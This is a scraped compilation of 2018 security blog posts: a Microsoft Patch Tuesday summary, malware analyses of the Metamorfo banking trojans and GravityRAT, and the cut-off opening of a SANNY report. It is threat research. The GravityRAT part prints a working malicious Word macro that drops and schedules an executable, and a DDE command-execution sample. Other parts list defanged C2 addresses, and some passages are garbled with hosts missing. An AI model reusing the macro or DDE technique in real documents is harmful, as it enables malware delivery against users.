Microsoft Patch Tuesday – May 2018

Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month’s advisory release addresses 67 new vulnerabilities, with 21 of them rated critical, 42 of them rated important, and four rated as low severity. These vulnerabilities impact Outlook, Office, Exchange, Edge, Internet Explorer and more.
In addition to the 67 vulnerabilities referenced above, Microsoft has also released a critical update advisory, ADV180008, which addresses the vulnerability CVE-2018-4944 described in the Adobe security bulletin APSB18-16.

Critical Vulnerabilities

This month, Microsoft is addressing 21 vulnerabilities that are rated as critical. Talos believes one of these is notable and requires prompt attention.
CVE-2018-8174 – Windows VBScript Engine Remote Code Execution Vulnerability.
A remote code execution vulnerability exists in the VBScript scripting engine (vbscript.dll) of Windows. This vulnerability allows an attacker to include malicious VBScript within a website or embedded within an Office file, which when executed allows an attacker to execute arbitrary code in the context of the current user. Threat actors are currently exploiting this vulnerability.
Other vulnerabilities rated as critical are listed below:
CVE-2018-0959 – Hyper-V Remote Code Execution Vulnerability
CVE-2018-0961 – Hyper-V vSMB Remote Code Execution Vulnerability
CVE-2018-8115 – Windows Host Compute Service Shim Remote Code Execution Vulnerability
CVE-2018-8178 – Microsoft Browser Memory Corruption Vulnerability
CVE-2018-0946 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0951 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0953 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0954 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0955 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8114 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8122 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8137 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0945 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-1022 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8139 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8128 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8133 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0943 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8130 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8177 – Chakra Scripting Engine Memory Corruption Vulnerability

Important Vulnerabilities

This month, Microsoft is addressing 42 vulnerabilities that are rated important.
CVE-2018-8120 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8123 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-8124 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8147 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8148 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8157 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8158 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8161 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8162 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8164 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8165 – DirectX Graphics Kernel Elevation of Privilege Vulnerability
CVE-2018-8166 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8167 – Windows Common Log File System Driver Elevation of Privilege Vulnerability
CVE-2018-8179 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-0765 – .NET and .NET Core Denial of Service Vulnerability
CVE-2018-0824 – Microsoft COM for Windows Remote Code Execution Vulnerability
CVE-2018-0854 – Windows Security Feature Bypass Vulnerability
CVE-2018-0958 – Windows Security Feature Bypass Vulnerability
CVE-2018-1021 – Microsoft Edge Information Disclosure Vulnerability
CVE-2018-1025 – Microsoft Browser Information Disclosure Vulnerability
CVE-2018-1039 – .NET Framework Device Guard Security Feature Bypass Vulnerability
CVE-2018-8112 – Microsoft Edge Security Feature Bypass Vulnerability
CVE-2018-8119 – Azure IoT SDK Spoofing Vulnerability
CVE-2018-8126 – Internet Explorer Security Feature Bypass Vulnerability
CVE-2018-8127 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8129 – Windows Security Feature Bypass Vulnerability
CVE-2018-8132 – Windows Security Feature Bypass Vulnerability
CVE-2018-8134 – Windows Elevation of Privilege Vulnerability
CVE-2018-8141 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8145 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8149 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8150 – Microsoft Outlook Security Feature Bypass Vulnerability
CVE-2018-8151 – Microsoft Exchange Memory Corruption Vulnerability
CVE-2018-8152 – Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2018-8155 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8156 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8159 – Microsoft Exchange Elevation of Privilege Vulnerability
CVE-2018-8160 – Microsoft Outlook Information Disclosure Vulnerability
CVE-2018-8163 – Microsoft Excel Information Disclosure Vulnerability
CVE-2018-8170 – Windows Image Elevation of Privilege Vulnerability
CVE-2018-8173 – Microsoft InfoPath Remote Code Execution Vulnerability
CVE-2018-8897 – Windows Kernel Elevation of Privilege Vulnerability

Go to Source
Author: Talos Group

Metamorfo Campaigns Targeting Brazilian Users

FireEye Labs recently identified several widespread malspam (malware
spam) campaigns targeting Brazilian companies with the goal of
delivering banking Trojans. We are referring to these campaigns as
Metamorfo. Across the stages of these campaigns, we have observed the
use of several tactics and techniques to evade detection and deliver
the malicious payload. In this blog post we dissect two of the main
campaigns and explain how they work.

Campaign #1

The kill chain starts with an email containing an HTML attachment
with a refresh tag that uses a Google URL shortener as the
target. Figure 1 shows a sample email, and Figure 2 show the contents
of the HTML file.

Figure 1: Malicious Email with HTML Attachment

Figure 2: Contents of HTML File

When the URL is loaded, it redirects the victim to a cloud storage
site such as GitHub, Dropbox, or Google Drive to download a ZIP
file. An example is shown in Figure 3.

Figure 3: URL Shortener Redirects to
Github Link

The ZIP archive contains a malicious portable executable (PE) file
with embedded HTML application (HTA). The user has to unzip the
archive and double-click the executable for the infection chain to
continue. The PE file is a simple HTA script compiled into an
executable. When the user double-clicks the executable, the malicious
HTA file is extracted to %temp% and executed by mshta.exe.

The HTA script (Figure 4) contains VBS code that fetches a second
blob of VBS code encoded in base64 form from hxxp:///ilha/pz/logs.php.

Figure 4: Contents of HTA File

After the second stage of VBS is decoded (Figure 5 and Figure 6),
the script downloads the final stage from hxxp:///28022018/

Figure 5: Contents of Decoded VBS

Figure 6: More Contents of Decoded VBS

The downloaded ZIP file contains four files. Two are PE files. One
is a legitimate Windows tool, pvk2pfx.exe, that is abused
for DLL side-loading. One is the malicious banking Trojan as the DLL.

The VBS code unzips the archive, changes the extension of the
legitimate Windows tool from .png to .exe, and renames the malicious
DLL as cryptui.dll. The VBS code also creates a file in
C:UsersPublicAdministradorcar.dat with random strings. These
random strings are used to name the Windows tool, which is then
executed. Since this tool depends on a legitimate DLL named
cryptui.dll, the search order path will find the malicious Trojan with
the same name in the same directory and load it into its process space.

In Q4 of 2017, a similar malspam campaign delivered the same banking
Trojan by using an embedded JAR file attached in the email instead of
an HTML attachment. On execution, the Java code downloaded a ZIP
archive from a cloud file hosting site such as Google Drive, Dropbox,
or Github. The ZIP archive contained a legitimate Microsoft tool and
the malicious Trojan.

Banking Trojan Analysis

The Trojan expects to be located in the hardcoded directory
C:\Users\PublicAdministrador\ along with three other files to
start execution. As seen in Figure 7, these files are:

  • car.dat (randomly
    generated name given to Windows tool)
  • i4.dt (VBS script
    that downloads the same zip file)
  • id (ID given to
  • cryptui.dll (malicious Trojan)

Figure 7: Contents of ZIP Archive


The string found in the file
C:\Users\Public\Administrador\car.dat is extracted and used to add
the registry key
SoftwareMicrosoftWindowsCurrentVersionRun for persistence, as shown in Figure 8.

Figure 8: Reading from car.dat File

The sample also looks for a file named i4.dt in the same directory
and extracts the contents of it, renames the file to icone.vbs, and
creates a new persistent key (Figure 9) in
SoftwareMicrosoftWindowsCurrentVersionRun to open this file.

Figure 9: Persistence Keys

The VBS code in this file (Figure 10) has the ability to recreate
the whole chain and download the same ZIP archive.

Figure 10: Contents of VBS Script

Next, the Trojan searches for several folders in the Program Files
directories, including:

  • C:\Program
  • C:\Program Files\AVAST Software
  • C:\Program Files\Diebold\Warsaw
  • C:\Program
  • C:\Program Files\Java
  • C:\Program Files (x86)\scpbrad

If any of the folders are found, this information, along with the
hostname and Operating System version, is sent to a hardcoded domain
with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1;
WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown in
Figure 11. The value of AT is “<host_name+OS&MD>=”.

Figure 11: Network Traffic for Host Enumeration

The sample iterates through the running processes, kills the
following, and prevents them from launching:

  • msconfig.exe
  • TASKMGR.exe
  • regedit.exe
  • ccleaner64.exe
  • taskmgr.exe
  • itauaplicativo.exe

Next, it uses GetForegroundWindow to get a handle to the window the
user is viewing and GetWindowText to extract the title of the window.
The title is compared against a hardcoded list of Brazilian banking
and digital coin sites. The list is extensive and includes major
organizations and smaller entities alike.

If any of those names are found and the browser is one of the
following, the Trojan will terminate that browser.

  • firefox.exe
  • chrome.exe
  • opera.exe
  • safari.exe

The folder C:UsersPublicAdministradorlogs is created to store
screenshots, as well as the number of mouse clicks the user has
triggered while browsing the banking sites (Figure 12). The
screenshots are continuously saved as .jpg images.

Figure 12: Malware Capturing Mouse Clicks

Command and Control

The command and control (C2) server is selected based on the string
in the file “id”:

  • al ->
  • gr -> ‘212.237.46[.]6’
  • pz
    -> ‘87.98.146[.]34’
  • mn -> ’80.211.140[.]235′

The connection to one of the hosts is then started over raw TCP on
port 9999. The command and control communication generally follows the
pattern <|Command |>, for example:

  • ‘<|dispida|>logs>SAVE<‘ sends the screenshots
    collected in gh.txt.
  • ” is sent from C2 to
    host, and ” is sent from host to C2, to keep the
    connection alive.
  • ‘<|INFO|>’ retrieves when the
    infection first started based on the file timestamp from car.dat
    along with ‘<|>’ and the host information.

There were only four possible IP addresses that the sample analyzed
could connect to based on the strings found in the file “id”. After
further researching the associated infrastructure of the C2 (Figure
13), we were able to find potential number of victims for this
particular campaign.

Figure 13: Command and Control Server Open Directories

Inside the open directories, we were able to get the following
directories corresponding to the different active campaigns. Inside
each directory we could find statistics with the number of victims
reporting to the C2. As of 3/27/2018, the numbers were:

  • al – 843
  • ap –
  • gr – 397
  • kk – 2,153
  • mn – 296
  • pz – 536
  • tm – 187

A diagram summarizing Campaign #1 is shown in Figure 14.

Figure 14: Infection Chain of Campaign #1

Campaign #2

In the second campaign, FireEye Labs observed emails with links to
legitimate domains (such as
or compromised domains (such
as hxxps://curetusu.-industria[.]site/) that use a
refresh tag with a URL shortener as the target.
The URL shortener redirects the user to an online storage site, such
as Google Drive, Github, or Dropbox, that hosts a malicious ZIP
file. A sample phishing email is shown in Figure 15.

Figure 15: Example Phishing Email

The ZIP file contains a malicious executable written in AutoIt
(contents of this executable are shown in Figur 16). When executed by
the user, it drops a VBS file to a randomly created and named
directory (such as C:mYPdrTkCJLQPXHwoCmYPdr.vbs) and fetches
contents from the C2 server.

Figure 16: Contents of Malicious AutoIt Executable

Two files are downloaded from the C2 server. One is a legitimate
Microsoft tool and the other is a malicious DLL:

  • https[:]//panel-dark[.]com/w3af/img2.jpg
  • https[:]//panel-dark[.]com/w3af/img1.jpg

Those files are downloaded and saved into random directories named
with the following patterns:

  • <5 random chars><8 random chars><4 random chars><5 random chars>.exe
  • <5 random chars><8 random chars><4 random chars>CRYPTUI.dll

The execution chain ensures that persistence is set on the affected
system using a .lnk file in the Startup directory. The .lnk file shown
in Figure 17 opens the malicious VBS dropped on the system.

Figure 17: Persistence Key

The VBS file (Figure 18) will launch and execute the downloaded
legitimate Windows tool, which in this case is Certmgr.exe. This tool
will be abused using the DLL side loading technique. The malicious
Cryptui.dll is loaded into the program instead of the legitimate one
and executed.

Figure 18: Contents of Dropped VBS File

Banking Trojan Analysis

Like the Trojan from the first campaign, this sample is executed
through search-order hijacking. In this case, the binary abused is a
legitimate Windows tool, Certmgr.exe, that loads Cryptui.dll. Since
this tool depends on a legitimate DLL named cryptui.dll, the search
order path will find the malicious Trojan with the same name in the
same directory and load it into its process space.

The malicious DLL exports 21 functions. Only DllEntryPoint contains
real code that is necessary to start the execution of the malicious
code. The other functions return hardcoded values that serve no real purpose.

On execution, the Trojan creates a mutex called
“correria24” to allow only one instance of it to run at a time.

The malware attempts to resolve “www.goole[.]com” (most likely a
misspelling). If successful, it sends a request to
hxxp://api-api[.]com/json in order to detect the external IP of the
victim. The result is parsed and execution continues only if the
country code matches “BR”, as shown in Figure 19.

Figure 19: Country Code Check

The malware creates an empty file in %appdata%Mariapeirura on first
execution, which serves as a mutex lock, before attempting to send any
collected information to the C2 server. This is done in order to get
only one report per infected host.

The malware collects host information, base64 encodes it, and sends
it to two C2 servers. The following items are gathered from the
infected system:

  • OS name
  • OS
  • OS architecture
  • AV installed
  • List
    of banking software installed
  • IP address
  • Directory
    where malware is being executed from

The information is sent to hxxp:// (Figure 20).

Figure 20: Host Recon Data Sent to First
C2 Server

The same information is sent to panel-dark[.]com/Contador/put.php
(Figure 21).

Figure 21: Host Recon Data Sent to Second
C2 Server

The malware alters the value of registry key
to 2710 in order to change the number of milliseconds a thumbnail is
showed while hovering on the taskbar, as seen in Figure 22.

Figure 22: ExtendedUIHoverTime Registry
Key Change

Like the Trojan from the first campaign, this sample checks if the
foreground window’s title contains names of Brazilian banks and
digital coins by looking for hardcoded strings.

The malware displays fake forms on top of the banking sites and
intercepts credentials from the victims. It can also display a fake
Windows Update whenever there is nefarious activity in the background,
as seen in Figure 23.

Figure 23: Fake Form Displaying Windows Update

The sample also contains a keylogger functionality, as shown in
Figure 24.

Figure 24: Keylogger Function

Command and Control

The Trojan’s command and control command structure is identical to
the first sample. The commands are denoted by the <|Command|> syntax.

  • <|OK|> gets a list
    of banking software installed on the host.

  • is sent from C2 to host, and ” is sent from host to C2,
    to keep connection alive.
  • <|dellLemb|> deletes the
    registry key SoftwareMicrosoftInternet Explorernotes.
  • EXECPROGAM calls ShellExecute to run the application given in
    the command.
  • EXITEWINDOWS calls ExitWindowsEx.
  • NOVOLEMBRETE creates and stores data sent with the command in
    the registry key SoftwareMicrosoftInternet Explorernotes.

Figure 25: Partial List of Victims

This sample contains most of the important strings encrypted. We
provide the following script (Figure 26) in order to decrypt them.

Figure 26: String Decryption Script


The use of multi-stage infection chains makes it challenging to
research these types of campaigns all the way through.

As demonstrated by our research, the attackers are using various
techniques to evade detection and infect unsuspecting
Portuguese-speaking users with banking Trojans. The use of public
cloud infrastructure to help deliver the different stages plays a
particularly big role in delivering the malicious payload. The use of
different infection methods combined with the abuse of legitimate
signed binaries to load malicious code makes these campaigns worth highlighting.

Indicators of Compromise

Campaign #1
MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA
MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA
MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA
MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA
MD5 789a021c051651dbc9e01c5d8c0ce129 PE with Embedded HTA
MD5 68f818fa156d45889f36aeca5dc75a81 PE with Embedded HTA
MD5 c2cc04be25f227b13bcb0b1d9811e2fe cryptui.dll
MD5 6d2cb9e726c9fac0fb36afc377be3aec id
MD5 dd73f749d40146b6c0d2759ba78b1764 i4.dt
MD5 d9d1e72165601012b9d959bd250997b3 VBS file with commands to create staging directories for
MD5 03e4f8327fbb6844e78fda7cdae2e8ad pvk2pfx.exe [Legit Windows Tool]
URL hxxp://
URL hxxp:// 
C2 ibamanetibamagovbr[.]org/virada/pz/logs.php
URL sistemasagriculturagov[.]org
URL hxxp://
Campaign #2
MD5 2999724b1aa19b8238d4217565e31c8e AutoIT Dropper
MD5 181c8f19f974ad8a84b8673d487bbf0d img1.jpg [lLegit Windows Tool]
MD5 d3f845c84a2bd8e3589a6fbf395fea06 img2.jpg [Banking Trojan]
MD5 2365fb50eeb6c4476218507008d9a00b Variants of Banking Trojan
MD5 d726b53461a4ec858925ed31cef15f1e Variants of Banking Trojan
MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan
MD5 d9682356e78c3ebca4d001de760848b0 Variants of Banking Trojan
MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan
MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan
MD5 a920b668079b2c1b502fdaee2dd2358f Variants of Banking Trojan
MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan
MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan
MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan
MD5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan
MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan
MD5 d3f845c84a2bd8e3589a6fbf395fea06 Variants of Banking Trojan
MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan
MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan
MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan
MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan
C2 https[:]//panel-dark[.]com/w3af/img2.jpg
C2 https[:]//panel-dark[.]com/w3af/img1.jpg

Go to Source
Author: Edson Sierra

GravityRAT – The Two-Year Evolution Of An APT Targeting India


Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT.

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection.

Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as being used in targeted attacks against India. Finally, we will discuss specific attribution elements discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name.



Malicious Office Documents

The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim’s system. The document opens and appears as such:

The document asks to the user to enable macros in order to prove that the user is not a robot (similar to the CAPTCHA we often see on the internet). This, however, is a known tactic that a lot of Office-based malware uses. It is an attempt to trick any users who are using Protected Mode on their systems. By enabling macros, the malware is able to begin it’s execution. We discovered that the embedded macro is quite small when extracted.

Sub AutoOpen()
  If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
    Const lCancelled_c As Long = 0
      Dim sSaveAsPath As String
      sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\"
      If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub
      Application.Documents.Add ActiveDocument.FullName
      ActiveDocument.SaveAs sSaveAsPath
      Set app = CreateObject("Shell.Application")
      ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
      ExtractByExtension app.NameSpace(Environ("TEMP") + "\"), "exe", ExtractTo
  End If
End Sub

Sub ExtractByExtension(fldr, ext, dst)
  Set FSO = CreateObject("Scripting.FileSystemObject")
  Set app = CreateObject("Shell.Application")
  For Each f In fldr.Items
    If f.Type = "File folder" Then
      ExtractByExtension f.GetFolder, ext, dst
    ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then
      If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
        app.NameSpace(dst).CopyHere f.Path, &H4
      End If
    End If
  Shell "schtasks /create /tn wordtest /tr ""'%temp%\image4.exe' 35"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01"
End Sub

This macro contains three functions:

  • The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools.
  • The second function decompresses this ‘’ file and extracts the .exe file stored in it.
  • The third creates a scheduled task, named ‘wordtest’, to execute this malicious file every day.

With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there’s no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT).

Testing By The Author

During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that an attacker can leverage for malicious activity, Microsoft published mitigation information here previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample. Here is an example:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<w:document [...redated...}] mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00215C91" w:rsidRDefault="008C166A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="383838"/><w:spacing w:val="3"/><w:sz w:val="26"/><w:szCs w:val="26"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:rPr><w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00215C91"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were:

  • testnew1.docx
  • Test123.docx
  • test456.docx
  • test2.docx
  • book1test2.xlsx
  • Test123.doc


Our initial discovery of GravityRAT was through a malicious Word document. As explained previously, this Word document had various macros to deliver a final payload.Considering that this was the most recent version of the malware, we decided to ascertain how long this actor had been active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer.

Version G1

The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample:

f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb

You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe.

The purpose of this version was to steal information on the compromised system:

  • MAC Address
  • Computer name
  • Username
  • IP address
  • Date
  • Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf
  • The volumes mapped on the system

All this information was then sent to one of the following domains:

G1 also had the ability to execute commands remotely on the infected host machine at the author’s will.

Version G2

We identified a new variant used in July 2017 named G2. Here is the PDB of the sample:

e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb

For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file:

  • The first resource is a legitimate open-source library available on GitHub. It’s a .NET wrapper for the Windows Task Scheduler
  • The second is the G2 version of GravityRAT

This variant shares the same command and control (C2) servers as G1, however, we have an additional ‘payload’ variable added to G2.

This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments.

In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper.

The analysed sample contained a decoy picture document in the resource section:


Version G3

In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB:

F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb

This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library:

  • German
  • Spanish
  • French
  • Italian
  • Chinese

The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name:

August was also the same month the Indian CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due.

Version GX

The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB:

C:\Users\The Invincible\Desktop\gx\gx-current-program\LSASS\obj\Release\LSASS.pdb

This version is the most advanced variant of GravityRAT. Throughout the evolution, we saw this malware embedding open-source legitimate .NET libraries (for schedule tasks, compression, encryption, .NET loading). It contains a resource named “important.” This is an archive with a password.

This variant has the same features as before, but this time, some new features are added:

  • It collects open ports on the victim host by running the netstat command
  • It lists all the running processes
  • It lists available services on the system
  • It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant
  • If a USB key is connected on the system, the malware steals the file based on an extension list
  • It supports file encryption (AES with the key “lolomycin2017”)
  • It collects information on the account (account type, description, domain name, full name, SID and status)
  • It checks if the system is a virtual machine with several techniques

The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine.

The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key):

The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: “VMware”, “Virtual”, “XEN”, “Xen” or “A M I” the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS.

The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains “VIRTUAL”, “VMWARE” or “VirtualBox”.

The fourth technique checks the Processor ID of the system.

The fifth technique counts the number of cores in the infected system (the author expects more than one core)

The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies “not supported”. This behaviour can be used to detect if the targeted system is a real machine.

The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine.

The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants:


Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor.

The developer used at least two different usernames in the past two years: “The Invincible” and “TheMartian.” In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: “Adeel” — the path contained “Adeel’s Laptop”. Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too.

In August 2017, the Indian National CERT published an advisory about malicious targeted campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by the National CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research.


This actor is probably not the most advanced actor we’ve seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware.

The Indian CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations.

The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal.


Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as NGFW, NGIPS, andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on



Malicious Documents















C2 Servers




Go to Source
Author: Talos Group

SANNY Malware Delivery Method Updated in Recently Observed Attacks


In the third week of March 2018, through FireEye’s Dynamic Threat
Intelligence, FireEye discovered malicious macro-based Microsoft Word
documents distributing SANNY malware to multiple governments
worldwide. Each malicious document lure was crafted in regard to
relevant regional geopolitical issues. FireEye has tracked the SANNY
malware family since 2012 and believes that it is unique to a group
focused on Korean Peninsula issues. This group has consistently
targeted diplomatic entities worldwide, primarily using lure documents
written in English and Russian.

As part of these recently observed attacks, the threat actor has
made significant changes to their usual malware delivery method. The
attack is now carried out in multiple stages, with each stage being
downloaded from the attacker’s server. Command line evasion
techniques, the capability to infect systems running Windows 10, and
use of recent User Account Control (UAC) bypass techniques have also
been added.

Document Details

The following two documents, detailed below, have been observed in
the latest round of attacks:

